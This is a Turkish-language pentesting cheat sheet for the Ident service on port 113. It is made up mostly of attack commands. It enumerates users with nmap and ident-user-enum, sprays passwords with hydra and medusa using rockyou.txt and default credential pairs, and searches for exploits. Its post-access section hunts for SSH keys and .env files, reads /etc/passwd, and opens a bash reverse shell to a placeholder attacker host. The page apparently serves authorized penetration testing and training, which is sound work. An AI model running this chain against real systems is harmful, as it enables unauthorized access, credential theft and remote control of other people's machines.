113 - Pentesting Ident
Ident enum
identd, bir TCP bağlantısının hangi OS kullanıcısına ait olduğunu söyler. Servis→kullanıcı eşlemesi spray listesi üretir.
Metodoloji
Section titled “Metodoloji”-
113 açık mı doğrula.
-
Hedef portlara bağlanıp ident sorgula.
-
Kullanıcı listesi üret.
-
SSH/rsh spreyine aktar.
nmap -Pn -sV -p113 TARGETnmap -Pn -p113 --script auth-owners TARGETnc -nv TARGET 113Sorgular
Section titled “Sorgular”echo '22, 40000' | nc -w2 TARGET 113ident-user-enum TARGET 22 80 443 445nmap -p22,80,445 --script auth-owners TARGETKullanım
Section titled “Kullanım”ident-user-enum TARGET 22 | tee users.txthydra -L users.txt -P rockyou.txt ssh://TARGET -t 4Derin enum
Section titled “Derin enum”Ident için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p113 TARGETnmap -Pn -p113 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:113' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',113));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → IdentKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 113 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 113nmap -p113 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit Identmsfconsole -q -x 'search Ident; exit'nuclei -u https://TARGET:113 -t cves/ -silent -severity || truenuclei -u http://TARGET:113 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 113printf '' | timeout 3 nc -nv TARGET 113curl -vk --http1.0 http://TARGET:113/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”ident → users.txt → credential spray → shell